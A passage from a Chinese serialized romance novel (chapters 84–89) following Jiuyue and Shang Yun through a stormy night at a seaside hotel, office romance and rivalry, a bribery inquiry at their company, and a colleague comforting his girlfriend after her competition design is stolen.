雨点被风席卷着带进凉亭,九月背对着荷池,衣衫穿得又薄。不消一会,整个背部就被雨水飘湿。只因双方闹僵,尚云在气头上,只怒目炯烔盯着她的脸,并没注意到她的背已经被雨打湿。 九月则因为被他一句话伤了心,索性自暴自弃糟蹋身体出气。 “这天真是说变就变,好好的天气,怎么就雷雨交加了。”齐大爷从木屋里走出来,没注意到两人之间的怪异气氛,“九月,你都淋到雨了,怎么还坐着不动呢。” 边说着边急急走过来,放下凉亭上的卷帘。 尚云这才移开视线,起身把她拉进来,看她湿衣夹背,在寒风中微微发抖,心中又痛又怒。“你怎么回事,淋到雨都不会躲?” “我自作自受。”九月撇开脸,眼眶发红。 “你们这是怎么了?没事没事,换件衣服就好了。”齐大爷被两人吓一跳,这才察觉到两人情绪变了。 看看那个,又看看这个。向屋里嚷嚷:“老婆子,快找件衣服给九月,她衣服全湿了。” 齐大娘正在准备晚餐,被齐大爷一嚷,误会了,惊乍的跑出来,“九月,你掉池里了?” “大娘,我没事。” “还说没事,天这么冷,随我去换件干净衣服。”齐大娘过来牵她的手。 “不用了。”说话间,尚云脱下外套罩在她身上,她不拒绝,也不看他。尚云阴沉着脸看她一眼,随即稍微舒缓表情,对二老道:“齐大爷,大娘,我们先走了,下次再来看你们。” “天都黑了,还下这么大雨,你们怎么回去?雷暴雨中开车也不安全哪!”齐大爷急了,他还想跟吃过晚餐再跟他下两盘呢。 齐大娘也不同意,道:“说的没错。而且九月身子湿成这样,这一路上还得耽搁几小时呢。她得冻感冒了,我可不放心你们这么走。” “我们今晚不回宝宁市,先找个酒店住下来。”尚云坚持要走。 “既然不回宝宁市,那干脆住大娘这里,虽然简陋了点,但至少安全。”齐大娘又说道。 齐大老随声附和:“对啊,江源虽然偏僻,但每逢周末来看海的人特别多。再加上这恶劣天气,估计酒店和宾馆都住满了,你们就留下来吧,你齐大娘把菜都准备齐了,咱爷儿俩今晚好好喝两杯。” “不能这样麻烦你们二老,何况她这衣服湿着,去了酒店可以让人送去干洗,不然明天还得穿湿衣服上班。齐大爷,大娘,再见!”他去意已决,牵着一言不发的九月就走。 “诶,那我给你们拿把伞......”齐大娘喊着话,两人早已钻进雨幕里。 云尚帮九月用外套护住头,半搂半扶的把她塞进车里。 齐大爷看着两人相偎的背影若有所思:“老婆子,你说这兄妹俩,感觉怎么像是一对情侣啊?” “兄妹?除了名义上曾是兄妹,你哪只眼睛看他们像是兄妹啊?” “你的意思是……” “十年来我只是怀疑九月单相思,但今天我可以肯定——这是两个人的单相思!”齐大娘得意而睿智地笑了。 “老婆子,你是不是大脑短路了,两个人那叫相爱,就不叫单相思了。”齐大爷皱眉纠正道。 齐大娘提高音贝吼道:“你懂什么?!两个把爱情表露出来不遮掩叫相爱,双方只在心里爱着彼此不说出来互相折磨叫两个人的单相思。他们属于后者。” “那我们呢,是哪一种?”齐大爷嘿嘿一笑,四两拨千金的化解了妻子的怒焰。 果然,齐大娘不自然的抿嘴而笑,低声骂一句:“老不正经。”进屋了。 第八十五章 同床共枕 齐大爷看了一眼墨色轿车消失的方向,喃喃道:“心里爱着彼此,却不说出来。是爱得太深,还是时机未到啊?” 歪着头想了半天没想明白,最后叹息一声,也跟着齐大娘走进屋里了。 两人湿嗒嗒地出现在金誉酒店大厅。虽然不算豪华,但这是全镇最后一家酒店了。 如齐大爷所说,今天所有酒店爆满,从顶级酒店到三流酒店一家一家的问过来,得到的只有一对话“对不起,今晚客房已经住满,请考虑其它酒店。” 如果连这家酒店也住满了,那两人只能在车里度过今晚吧。 “先生,还有最后一间豪华单人房,两位要住吗?” “一间?”九月皱眉。 “是的。刚有人打电话退订,否则连这一间都没有。需要办理入住吗?” “登记。”尚云把身份证与信用卡递给前台服务员。 拿着房卡,进了房间。尚云摸开墙上的开关,室内宽敝舒适,干净而具有格调。 “去洗澡,杵在这里作什么?”看着她头发滴着水,他似乎有些烦躁,语气里传达他还在生气的迹象。 “你弄清楚,此时此刻你是谁。”九月声音很低,却也有点脾性。 湿湿的长发有些凌乱,胡乱垂在两侧,遮住了大半个脸,越发显得脸蛋瘦削而苍白。“如果你是尚总,我们不应该挤一间房;如果你是尚云,他是不会这样对我的。” 尚云忽而就觉得自己的冷漠有些过分,淡淡道:“我是你的兄长,你冰雪聪明,我以为你能看出来,有些事何必要说得如此明白?” 九月听他这么一说,眼泪扑朔着掉下来,人已钻进浴室。 今天淋了透湿,秋夜的雨经风一吹,湿寒早已侵入体内。九月迷迷糊糊中有一种不好的预感。 果然,半夜,喉咙发紧,过了一会就开始轻轻咳起来,断断续续的想睡又睡不着,非常难受。顾忌到房间里还有个人,她用棉被捂住嘴,殊不知细细粉尘吸入,这样更能引发咳嗽。 因为体质因素,每到秋季,她就会这样干咳。 以前去医院检查过,并没有什么毛病,就是咽喉过敏,遇到气候转变就会复发。就像体质过敏一样,只能防,不能治根。 用被子捂了一会,由轻咳发展到不受控制的咳,一发不可收拾,咳到胸口发疼。 睡在沙发上的人终于忍不住坐起来,在黑暗中直直看着她:“怎么咳成这样?” “对不起......”她已经尽量让自己小声,她忍得很辛苦,还是吵到他了。 他开门出去了。 他一走,房里立刻显得空空荡荡的。外面呼啸的风雨声,是那么刺耳,雷鸣闪电也恢复了它们的凌厉,雷点似乎就落在房间外面,撞击得霹雳作响。 风啸声,落雨声,雷鸣声,声声入耳。这些声音就像一只只狰狞的手,紧紧拧紧她的心,她缩成一团。 “尚云……”她哑着嗓子,试图把他叫回来。 他离开了?房间空寂,再无动静。她只觉鼻尖发酸,泪一涌而出。 自从他回来后,她似乎格外敏感、脆弱、任性。她讨厌这样自哀自怜的自己。她扯过被子蒙住头,把一切可恶的东西隔绝在外面,这些年,每到雷雨夜就是这样蒙头着挺过去的,她早已不再恐惧雷鸣闪电。 以前可以,今天也可以。 不知道过了多久,她渐渐有些喘不过气来。 “睡着了吗?”低沉的声音突然传来。 她轻轻掀开被子,看到他端着杯水站在床边。她红着眼圈问:“你去哪儿了?” 他看到她眼睛红肿泪痕狼藉的样子,怔了怔,说:“去找服务员要蜂蜜。” “我以为……” “对,嫌吵。”他故意板着脸:“快把蜂蜜喝了止咳,这样我才能安心睡觉。” 她擦干眼泪接过他的蜂蜜,这是奶奶教的土偏方。 蜂蜜止咳生效快,又无副作用。所以,小时候奶奶就常备蜂蜜给她。 只是没想到,他还记得这样的细节。 窗外的雷声不停打破室内的沉默,一道道闪电频繁划亮黑空。 他淡淡说:“如果好些了就睡吧。” 他关了灯,站在落地玻璃前看着窗外的黑天暴雨。 闪电一闪一亮,现出他的背影轮廊。九月不知道他在想什么,心里却平静了不少。她躺在床上,做了几个深呼吸平静心绪,闭上眼睛。 半睡半醒之间,感觉床的另一边微微塌陷,她能闻到空气里淡淡的古龙香水气息。能听到黑暗里,近在咫尺的男人沉稳的呼吸。 他们仅一方床的距离,一伸手就能碰到对方。但他们都刻意缩小自己的范围,中间空出一条宽宽的分界线来。 白花花的闪电,短暂而尖锐的透过窗户传达到视网膜。 第她紧闭着眼睛,等待黎明的到来。 室内一片寂然。虽然没有咳嗽的折磨,但感觉到他躺在身边时,九月再难入睡。只是平躺着,歪着头,倾听耳边他那均匀的呼吸。 他侧身背对着她,闪电照进来,照出他慵懒睡姿的轮廊。 九月的视线,穿透黑暗,痴痴看着他的背影。不敢相信他就在伸手可及的地方,甚至能感觉到他的体温。 一个炸雷突然在屋顶上空响起,震得门窗嗡嗡响,九月下意识的朝中间缩了缩,冰凉的脚尖碰到他,她触电般的立即挪开了。 他突然转身,手准确地找到她的手,然后紧紧握在手里。 九月心跳得厉害,想把手抽出来,他却捉得更紧,淡淡命令:“别乱动,睡觉。” 室外风雨凌乱,呜呜咽咽。 她很想脱口而出,我早已不害怕雷电,不必如此护着我。话到嘴边,她咽下去了。 他的手掌温暖有力,紧紧包裹着她的手。有他在身边的雷雨夜,这种年少时久违的被守护的感觉,美好的不真实。 从安源回来后,尚云恢复了严肃冷漠的样子,但两人之间有了微妙的变化。 似乎是出于某种自虐情结,九月上班时间将工作做到无可挑剔,在下班后却一丝也不想在普世公司和公寓里呆,仿佛瞬间跟莫诚陷入了热恋。 第八十六章 红尘客 九月也丝毫不避讳公司同事,穿上最得体、最漂亮的衣裙,两人迎来送往,众人纷纷当着莫诚的面开玩笑,嗔怪天天洒狗粮,要求吃拖糖。 莫诚转头看看九月,见她也仅莞尔一笑,并不反对。当即开心应允。 这对莫诚来说,这是宣示主权,九月从此是他的了,别人不能有所企图。因此求之不得,乐于这么做。便隔三岔五派人在午间送了蛋糕咖啡、糖果鲜花和各式高级点心去普世文化。 九月桌上那五颜六色的玫瑰轮流换,据说那蓝色妖姬和黄色金香玉,还是国外空运来的。办公室爱花的妹子,见九月桌上摆不下,每人在九月这分去两三朵插在自己桌上。 整个办公室都飘满馥郁花香,胜似过节。 尚云路过一次,脸就黑一次。 木信隔着好几米,都被冷得直哆嗦,那段时间他一直心惊胆战。 尚云对九月不一样,可以说是用心良苦,体贴入微,这是他早就察觉到的。 他不明白为什么老板从不表明心意。 于是,悄悄在他桌上放了两张音乐厅的门票。尚云看到门票后,当即将他叫进去,“你放的?” 木信看着他身后的书柜上层,尽量不接触他的目光:“嗯哪!你知道我跟女朋友异地恋,朋友给的两张票我留着也没用,看尚总能否用上,别浪费了。” 尚云搁下笔,淡淡地说:“宝宁音乐厅的门票有钱也不一定买得到,能费心给你弄来两张门票的人关系很铁啊,竟然不知道你异地恋?木信,如果我没猜错,你是求了金志高托人弄来的票吧。” 木信尴尬的干笑道:“什么都瞒不过你哈。” 尚云也不生气,说道:“别操心我的私事,最近可能没有太平日子。克普此时要么隐忍不发,要么已经在暗中有所动作了,不得不警惕。” “好,那我去做事了。”木信就要溜。 还没成功溜出大门,又被尚云叫住:“把票拿走,放在我这里就真的浪费了。” 木信又灰溜溜回来,拿着门票故意叹息一声,走出总经理室。 尚云听到他叹息,摇摇头又埋头批阅文件。 下午茶点时间,行政总务部美女边吃着莫诚托人送来的精致蛋糕,边跟九月商量,“九月,可爱的九月。能否让你那富豪男友节制一点,你们实在太甜了,甜得大家都无心工作,天天嚷着要去找富豪老公。关键是你看看我。”她在九月面前转了一圈。 九月瞪着眼睛,“好身材呀。” “什么呀?你再看看,这里赘肉,这手臂。前段时间电梯停电,很多同事抱怨爬不动楼梯,不知怎地就被尚总听到了,从每月训练一次改为每周训练一次。不过你经常出差很少参加。多亏他这英明举措,我终于拥有曲线美了。 可是难以抵御你和男友这一波又一波甜密攻击,贪嘴吃了好多昂贵又好吃的蛋糕甜点,我又被打回原形不说,腰身还圆了不少。 你在茶点时间去听听,姐妹们在茶水间聊起腰围和新买的衣服,那简直哀嚎一片。善良的九月妹妹,你们可要拯救苍生,趁早收手吧,muma!” 听了她这番声情并茂的脱口秀,九月笑得眼泪都出来了。她心里是知道的,美女说的婉转,实际是木信的意思,而木信则是看尚云神色不对,悄悄找行政专员来巧妙劝诫。 “好啦好啦,为了拯救苍生,以后不会再有这情况了。”心里堵着的那口气也差不多了,见好就收。 果然第二天开始,公司恢复了平静。 下午,九月拿着笔记本准备出门,木信叫住她:“九月,今天去出差?” “对,去高迪公司进行初步了解。你有事找我?”九月估计他要聊近段时间的事,脑海里开始组织说辞好应对。 没想到木信递给她两张音乐厅的门票,“这是两张音乐厅的门票,朋友给的,可惜我和女朋友异地恋,怕浪费了。你拿去吧。” “我今晚回来估计赶不上。”九月说。 “没事,票面时间是周三晚上,明晚的。”木信看她接过去了,双手插进裤兜里,“那个,你要不尝试约咱公司内部走得比较近的人一起看啊。我只是建议哈。” “咳咳,我还有事,先走了。”木信想着,给你提供子弹,可别用来伤害自己人。 “谢了。”九月也不含糊,便将票收进包了。 周三晚上欢天喜地同文菌一道去了音乐厅,女孩之间的情谊可比男女之间的情谊升温要快,而且恒温持久。 每次约小竺她都推托在忙,说父亲未竟的事业,全落在她的肩上。莫诚有自己的酒吧和公司要打理,无暇帮忙。只能作罢。 现在除了出差在外,一般情况都是与文菌厮磨在一起,逛逛街,买衣服,踩点吃传说中美味的食物。 从音乐厅出来后,文菌说,“去我那儿,我煎牛排给你吃,特意买了煎牛排的平底锅,前段时间刚学会,自己尝了还挺不错。” “哈,那可得买一瓶红酒。我负责买,你负责做。”九月笑道。 两人在商超里逛了一圈,满载而归。 文菌房间全是书,地上铺着绒毛地毯,脱鞋后换上一次性的软纱鞋,踩上去格外舒服。沙发上、书桌上、床头上,凡目所及都是书。空间显得拥挤而温馨。 “文菌,怪不得一眼看到你,就觉得你气质不一般。古人诚不欺我,腹有诗书气自华,你说,我跟你在一起久了,会不会也熏陶出书卷气呀。” 文菌轻笑道:“你不知道吗?大家讨论你的时候,都说你有艺术家的气息。你可不用我来熏陶,你我本是同类。” 说完走进厨房开始腌制,备佐料。 九月咂摸这话中的深意,就笑了。“需要我来帮忙吗?用得上你不用客气昂。” “不用啦,特别简单。”文菌在厨房里说。 她在等吃的空档,便坐在地毯上的坐垫上,随手拿了一本书,靠着沙发阅读起来。 不知不觉,牛排的香味扑鼻而来,抬头,发现文菌已经端着两只盘子来了,为节省空间,茶几又是读书写作的地方,又是独自享用佳肴的地方。 “哇!好有feel。”九月在高脚杯里倒上红酒。看文菌将精致的盘子、叉刀之类摆放整齐,忍不住赞道:“你这才叫过得精致,差点以为在米其林餐厅了。” “凡事用了心,就能享受其中的美好。生命短暂,要将时间花在自己喜欢的事物和人身上,体验过程,接受结果。才称得上不悔人生,不虚度人生。”文菌微微一笑,举杯相邀。 九月体味她的话,伸手与她碰杯。“活得很清醒,很深刻,很丰富。”她仰头小饮一口,红酒在齿间散发特有的香味。 “阅尽千万人的悲欢离合、一生的起起落落,自然就深刻了。” 九月不自觉就转头瞧那些书:“你每天除了工作,时间全花在阅读书籍上了?” “有书作伴是最幸福的事,每本书都是一个朋友,这套公寓里就挤了将近一千个朋友。”文菌的目光温和的扫过它们,又道:“你尝尝牛排,今天感觉把握到位,味道应该不会差的。” 九月切下一小块,咀嚼一会,“唔,好吃。手艺真不错,像你这样上得厅堂下得厨房的人,将来要遇到怎样的人才配得上你。” 文菌咽下牛排,又饮了一口红酒,幽幽说道:“这世上充满着时空差错,由不得我们去要求,又不想被动接受安排,不妨将自己摘出来,当作悠悠过客,清眼旁观。” 九月似懂非懂,红酒下肚,接道:“红尘客?” 文菌身子一僵,就听九月又说道:“你的观点跟他相似,你知道红尘客吧?一个即出世又入世的神秘坛主。” 第八十七章 调查违规内幕 文菌短暂笑了笑,问道,“世上还有如此人物?” “我也是偶尔看到的,以前心身状态不好,常常关注他。他的一些点拨,常常让深陷困扰的人轻易脱离苦海心魔。说来还是得感激他的。”九月像是在回忆,眼神虚迷地看着地毯某处,“感觉此人活得极其自在。” 随着酒香扑鼻,文菌又将她杯中斟满,两人边吃边聊,不知不觉已至深夜。 九月盘中的牛排吃得干净,酒也一滴不剩,半醉半醒地倚在沙发上:“文菌,你有没有遇到过难解的题?” “比如说。” “有个人,你能感觉到他处处关心,超出了一般感情。当你去正视他的情感,他却拉满距离感。这样的困扰,如果是你,有解吗?” 文菌也微醉,爬到她身边坐下,听她醉喃道,“我已经拿他没有办法了。” “他若喜欢你,你一定会感觉到。他若不喜欢你,你也感觉得到。答案在你心里,而不是在他嘴里。”文菌侧过身子,伸手扶正她歪在沙发上的头。 九月此时睁开迷蒙的眼睛,定定看着墙上的挂画,“答案在我心里?” “如果你感觉得到他的喜欢和关心,不同于一般的情感。但他却不愿承认,只有一种可能,你们之间一定存在某种阻隔。” 九月重复她的话,“存在某种阻隔?” “对。有可能是一个人、一件事或者他有苦衷。”文菌两只手撑着脑袋,短发依然精致漂亮,“消除了阻隔,他才有可能正视自己的情感。” 她的话在九月心里如一道雷电,照亮黑暗处某件几乎被遗忘了事。 文菌却继续道:“我以为你近期桃花正盛,综合办公室的人人沾了你的喜气,怎么现在还有这样的苦恼?” 九月此时已然有几分酒醒,“文菌,时间不早了,明天还要上班。早点休息吧。” 她摇摇晃晃走向门口。 “好,你慢点。”文菌也不深究,单手撑着沙发,说道。 替她合上门,穿过长廊,看到尚云正站在他自己门口,大概刚回来。 九月走近,对他视而不见,摸出钥匙开了门。 “九月,我无权干涉你的私事。但你做任何事,都要想清楚后果。一些小事可能会引发你承受不了的灾难。”身后传来尚云清冷的声音。 她回头,扶住门框,假装没听懂:“尚总,我是不是做错了什么?” 尚云闻到她身上酒味,知道她喝多了,“人只能折磨到在乎自己的人,对于不在乎你的人,你的所作所为均为无效。” 九月咯咯笑道:“那你到底在不在乎?如果不在乎,为何要来跟我说这些?” 尚云不再说话,按亮指纹锁,门啪嗒一声开了,他进去后又啪嗒一声关上。 她收敛笑容,神色出奇的清醒而冷静。 第二天上班后,九月才知道公司出事了。 微信管理群发布公告,召开紧急会议,尚云脸色深沉,从她面前走过去。随后,木信也跟了上去,拉了她一下,“九月,去旁听。” 九月便带上会议本,进了会议室。 会议室里气氛低沉,九月看到此时应该在甲方公司的蓝鲸第二总队下的四十二分队6名成员全部都在会议室里,神态沮丧。 三大蓝鲸总队三个队长坐在对面,看样子已经交涉过一番。另外,刚落坐的有人资部、行政部、财务部、纪监组和销售部的最高责任人,还有严教官竟然也在场。 木信和尚云落坐后,九月找了个椅子靠墙坐下。 看这架势,公司里应该发生了极其严重的事情。 尚云坐在上位,扫视了一圈,说道,“厉总队,四十二分队是你下面的团队,想必你也已经了解事实,能否陈述一遍?” “是。华中科技内部分裂,新派主张变革,联络我们签订合约发起改革,旧派虽没有权限主张什么,但处处不配合,甚至阻挠工作。 我们在原则上若是客户内部没有达成共识,我方不会跟对方签订合约,一旦签订合同便坚持承诺,替客户解决问题。 客户知道我们这一原则,隐而不告,实则违反了双方合约条例。本来我们的团队也有理由毁掉合约。但客户新派苦苦相求,并悄悄塞给团队领队人何轩一张银行卡。这就导致东窗事发。” 尚云语气中不带任何情绪:“哪位是何轩。” 留着寸头戴着眼镜的青年站起来,头垂在胸前,眼观鼻,鼻观心地说:“我对不起公司对我的信任,对不起团队。我愿意承担此事带来的一切后果。” 尚云静默一会,伸手往下摆了摆,示意何轩坐下来。 “何轩,我在这里问你三个问题,你可以选择回答或是不回答,但你的正面、诚实的回答有助于查清事情真相,决定事件最后定性。” 何轩忐忑地又站起来,“您尽管问,我愿意配合公司调查,全部坦白。” “第一,你出于什么原因收下这张银行卡?第二,对方熟知我们的原则,还违反合约条例,给你制造这件事情发生的有利条件,那么此人跟你接触时的所有细节你能否反应给公司?第三,你希望自己得到怎样的支持?前提是否跟公司一起查明真相?” 在座者无不面露惊讶之色,尚云的弦外之音很明显,事情不是表面那样简单。 何轩从头至尾,将事情经过详细讲了一遍,包括当时自己的处境和念头,一五一十全交代出来。很多细节连刚刚跟他了解过事情起末的三大蓝鲸总队长都不知情。 “以上所交待事情均属实,公司尽管证实。另外,关于我爷爷住院后,我工作之外跑夜车赚取手术费的事,在场的慕九月总助也是知道的,她曾经坐过我的车。”说着,何轩望着九月说道,“慕总助还记得吗?一个星期前,你打车从唐山路到长泰路口。坐的就是我的车。长泰路口较为偏僻,很难打车。我还问你需不需要原地等你。你当时回答我说,没那么快回去,不用等。当时我戴着口罩你可能没认出我,但这句对话你应该记得。” 听他这番话,会议室里的目光齐刷刷全集中在九月身上。 她微微一笑,不慌不忙地道:“没错,我有一天晚上的确打车去过长泰路,他说的属实。” 说完,特意回避着尚云的目光,低头看着自己膝上摊开的笔记本。 尚云望向九月的目光意味深长,眼眸微眯,随后说道:“人资整理好他所述实情,纪监组想办法在48小时之内查证。处理结果待查证后再定夺。散会。” 九月起身时,听到尚云说了一句,“慕九月,你来下我办公室。” 第八十八章 阿闲冒险潜伏 九月跟随尚云进了总经理室,自觉带上门。 尚云站在那里,听到门合上的声音,转身就问道:“你半夜去长泰路口做什么?” “不是半夜,是八点多。”九月轻描淡写地纠正道,“这是我的私事。我没有必要向公司解释什么。” “你想成为什么人,你是什么人,在公司就职一天,公司就要负责到底!”尚云不容反驳。 九月终于收敛那抹挑衅。 “会见朋友。”她简洁的说道。 “什么朋友?”尚云语气紧促,刨根问底。据他所知,长泰路口那一片是前两年刚开发出来的国际高档别墅群,购居别墅的人群画像也很清晰,都是世俗意义上大富大贵的成功人士,而非一般人可以涉足。 因时间不长,周边设施和蓝图都还在紧赶慢赶的施工,唯有孤零零的别墅园全部峻工,零星几户人家已经装修妥贴,住了进去。 九月知道他问这句话出于何意,眼底蕴洇一层水雾,脸上却挂着笑,说道:“就是你心中想的那种朋友啊。” 尚云脸色发青,静默中盯着她,垂在身侧的手捏成拳,终于还是没忍住,一掌挥了过去。 她结结实实挨了一巴掌,站立不稳跌坐在地上,将涌出来的泪意全数逼了回去,默默从地上爬起来,背对着他。 “我没有资格打你,这一巴掌,是替你父母打的。”尚云心中余怒未消,“九月,但凡你还有廉耻之心,也不会变成今天这副模样!” 她回过头,发丝有些乱,脸上白晳的肌肤衬着触目惊心的掌印,嘴角仍然带着笑,“原来你在心里是这么想我的?在你心中我如此肮脏。难怪,你一直不愿接受我。” 这一番话说出口,她成功看到他惊痛后悔的目光。 她故意让他将事情想歪,故意挑衅他来伤害她,故意再告诉他那不是真相。 她满意地离开了总经理室。 看到他痛苦,她并没有想像中那种快感。 当天请了假,九月将自己关在公寓里,窝在沙发上闭门不出。 听到敲门声,也懒得理会。 直到文菌的声音响起,“九月,是我,我知道你在家,你开门我看看你就走。” 九月坐起来,胡乱梳理下头发,便懒散着步子去开了门。“文菌,你不是在上班吗?” “你呀。”文菌将门合上,她打量九月一番,捧着她的脸瞧了瞧,牵着她坐在沙发上,“来,坐下。我给你涂点药。” 说着,变魔术似的拿出一小支药膏,一边涂一边叹息:“不让人省心。” “你这药哪来的?”九月狐疑道,她走出公司时用头发遮着脸,应该没人知道,何况,她才不相信文菌随身带着药膏。 “木信总助让我来看看你,顺便塞了一支药膏给我。我便明白了几分。”文菌给她涂好了药,将她的发丝顺到耳后。“下手这样狠,你惹到谁了?” “是昨晚那个难解之谜。”九月靠在沙发上,仰着头看着天花板。 文菌一时语塞。 “不用安慰我,你去忙吧。我没事的。”九月将她半推半送到门口,“晚上见。” 在同一时间,尚云接到一个陌生坐机号码。 “是我。”电话里传来阿闲的声音。 很长一段时间没有阿闲的音信了,他的电话也一直处于关机状态。 尚云强打精神问道:“你在哪?” “我成功潜入了。”阿闲道,“寄给你的东西你查收下。” 阿闲说话很含糊,前言不搭后语。好在尚云通过之前的联络内容,瞬间想到他指的就是之前他们监察的破旧工业园。 尚云眉头紧皱,压低嗓音说道:“不是说稍安勿躁吗?阿闲,听我的,不要去淌浑水,没到时候。” “没有回头路了。再联络。”阿闲话一说完,当即挂断电话。 他终究没有听自己的,选择孤注一掷。 尚云的手机重重落在桌面,握手机的手顺势撑住额头。他疲惫地闭上双眼,腮边因牙根紧咬而肌肉突显。 木信走过来,轻道:“老板,十分钟后有个会议。” “你去参加下。”尚云头都未抬,闷闷地道。 “好。”木信何曾信见尚云这副失魂落魄的样子,悄悄掩上门。 这时,人资部施丽娜拿着两份简历过来找木信。 “找我?”木信边走入自己办公室,边问。 “是。”施丽娜笑笑,“何艳经理出差了,大概下周才能回来。这里有同一岗位的两个候选人,经过几轮面试,发现他们各有优势。用人部门表示两个都可以用,看我们部门的综合对比了。可是何经理没时间接我电话,这都拖了两天,明天就是最后期限必须给答复。木信总助,您看能不能抽空帮忙定夺?” 木信听她罗里吧嗦讲一大堆,接过她手上的两份个人资料,将简历和面试评估表全部看了一遍,几分钟便挑选出一位叫宁相承的男性。 “这......这么快定了?” 木信抬头看她一眼。 “我是说,您效果真高。”施丽娜又是一笑,气自己嘴快,暗暗吐舌头。 “这没什么好纠结的。能力可胜任,可塑空间大,价值观大致符合公司要求,就可以纳入公司。”木信将资料合上。 “可另一位也基本符合这三个标准。不过,本岗位经验虽然有点短,但他是学这个专业的,毕竟科班毕业,有潜力做好这份工作。而且人也上进,多才多艺,这方面来看,宁相承明显要差一大截。”施丽娜用这一套说辞成功的迷糊自己,现在又用来迷糊木信。 但木信可不会跟她节奏走,而心解释道,“你看,毕业多年,但符合专业工作内容很短,而且每一份工作的内容领域跨度太大,我如何能相信他能专心深耕自己当下岗位?兴趣广泛也进一步说明懂得多,精通的少。一个人的精力有限,分散后很难做成一件事。 公司所有部门的工作都在围绕‘公司愿景’这一‘终极目标’为出发点,‘才能’有助于达成目标才能称之为才能,否则再多才能,对公司来讲毫无价值。” 木信见小姑娘似懂非懂,补充道:“我打个比方:把公司当成一辆车,当车子在一个高坡上,需要全体员工齐心协力推动前进,如果有的同伴一会说有跳舞才艺,跳支舞给大家看,一会说会相声表演,演一段相声给大家看。他看到你满头大汗,就是不来帮忙推车,或者说没力气帮忙推车,这样的同伴你会不会要?” “那我当然要一个力量大、踏实推车的人一起同行。” “对,每个人都是这么想的。‘力量大’就是专业能力,‘踏实推车’是肯下功夫在工作上。懂了?” “唔,懂了懂了。多谢木信总助指教。”施丽娜茅塞顿开,心服口服去联系宁相承入职。 木信电话此时显示姗姗来电,待施丽娜的身影消失在办公室门口,他才接起电话。 第八十九章 姗姗遭遇不公 “姗姗。今天这么早打我电话?”木信脸上洋溢着幸福的笑容。 “信。我今天特别想你。”听筒里,女友语气刻意装出很轻松的样子,但鼻音很重。 “你感冒了?声音怎么怪怪的?” “没有啊。”女友迟疑片刻,说了一个令人惊讶的决定,“我决定去你的城市发展。” “你的梦想就快实现了,为什么突然想来我的城市发展?”木信仿佛不敢相信,女友学服装设计,最近参加业内重要比赛,获得参赛权。 他们忍受千辛万苦的相思煎熬,就是为了支持姗姗心心念念要参赛业内这项比赛,以奠定自己在职业道路重要基础。 然而,目标既将实现,姗姗却突然打退堂鼓。怎么说都不合情理。 女友静默了。 木信解释道:“你知道我很期待你能来我身边,一直都是这样。但你不早不晚偏偏在获得参赛权后提出要来我这里,我不能理解。我知道参赛对你来说意味着什么,姗姗,是不是发生什么事了?无论什么事你都要告诉我,好吗?” 木信向来是有主见的那个,但女友也比较理性,两人的沟通是顺畅无隔阂的。 女友被他这一问,眼泪又下来了。“遇到人性之恶,很多事想不明白,太累了。” “你跟我说说是什么事,我们一起想办法。”木信秉住气,鼓励女友说出来。 女友便将事情三言两语讲了出来,原来公司有两个参赛代表,同时要拿公司开具的推荐涵才能真正进入决赛。 两个选手在此次比赛中无论是否获奖,只要获得两人中最优成绩者即可回公司担任设计总监职位。姗姗的实力比之另一位选手要强盛许多,但缺少心眼,平日里埋头做事,性子务实清高,也不太关注跟上面的关系维护。 自己辛苦熬夜备赛的作品手稿,一觉醒来不翼而飞。后来才发现另一个选手正在制作实物的样板与自己的作品手稿一模一样。 她气愤不过找boss反应此事,但boss找那人秘谈后,跟姗姗表示那确实是她自己的作品,对方还有人作证说亲眼看见她熬夜创作此手稿。 姗姗说到这里哽咽道:“以前觉得只要自己努力,就能达成目标。后来发现不是这样的。之前的栽赃陷害,孤立排挤我都忍了。这些我都可以看淡,认为加速奔跑,脱离出不喜欢的圈子就可以了。可是......” “可是,他们连我奔跑的路都给堵死了。为什么要这样呢?人为什么可以如此险恶呢?”女友哭得上气不接下气:“木信,我现在怀疑这个世界,是我们不曾见过的样子,以前一厢情愿透过滤镜看它,现在呈现在面前的才是它的真面目。我很绝望......” 木信听到女友被欺负,手机被他捏得格格作响,等气息稍稳,才出言安慰:“你觉得委屈是正常的,姗姗,既然有人敢这么做,说明害怕你的实力。你遭此重创她一定以为得逞了,你千万不能放弃。 虽然这个时候,我很希望你能来我这座城市发展。但我知道,你以后回想起来,一定会留有遗憾。因为我了解你,不希望自己做一个逃兵,而是征服者。 你知道吗?一个人遇到的挑战越大,证明老天要交付更艰巨的任务给他。你也曾经说过,人的一生都在打怪升级。现在,你对面的怪兽已经强大到超出经验和想象,其他人不一定有机会面临这种境况。征服它,才不辜负你为此所受的委屈。” 女友情绪慢慢平复下来,只是偶尔抽噎。“我没有信心,我已经没有办法。” “姗姗,你听我说。大学时你一直问我,为什么喜欢王阳明和稻盛和夫。没有一定的阅历无法体会这二人的故事和心境,现在我可以跟你说说。比如王阳明,他的阳明心学帮助了后世很多人成就伟业,而‘心学’是他当初经历了九死一生才悟通的哲理。 他认为只要看穿事物的本质,在你面前的所有困难,都是幻象。以不变应万变,才有胜算。你的心境不变,不乱,不波动,外界事物如何发展、资源组合、科技变异,都无法将你打倒。 当初王阳明面对不公仗义执言,被当权者命人当众脱裤子杖责于他,又被丢进号称人间地狱的‘诏狱’,折腾未死再被迫贬至贵州龙场,刘谨怕他不死,又派人追杀。王阳明机智以跳河伪造自杀,才成功逃脱追杀。但死里逃生,终于到了贵州龙场,才发现当地生存环境极其艰险,蛇兽满地,瘴疠弥漫。 他在经历了一路死亡威胁后,又处于险恶环境中,反而觉得人生大事不过生死二字,既然生与死自己都已经经历过了,世上就没有更糟糕的事了。 便以乐观豁达处理日常艰难境遇外,每晚还睡在石棺时刻体验死亡压迫感,直到有一天躺在棺材里心无波澜能直视死亡。 一般人挑战这种压迫感都会恐惧失控,但唯有如此就不会再对死亡有任何畏惧,面对世界千变万化能稳若泰山。心理学上的‘脱敏训练’即是这个原理。 内心强大到没有外界的干扰,稳若磐石,才能毫不偏颇地遵循良知做正确的事,做出正确的决策,坚持正确的理念。 他后来面对任何险境和挑战,都能用这种强大内心去应对。看透本质,掌握最有利的形式,用出其不意的方式取胜。世人都知道他一介书生却战无不胜的神话事迹,却鲜少人了解他曾经内心经历的险难与痛苦。 当你痛苦的时候,即是成长的时候。稻盛和夫亦是如此,还有古今中外的伟大人物,包括我现在的老板,他们都同样痛苦经历,如今的成就是千锤百炼出来的。 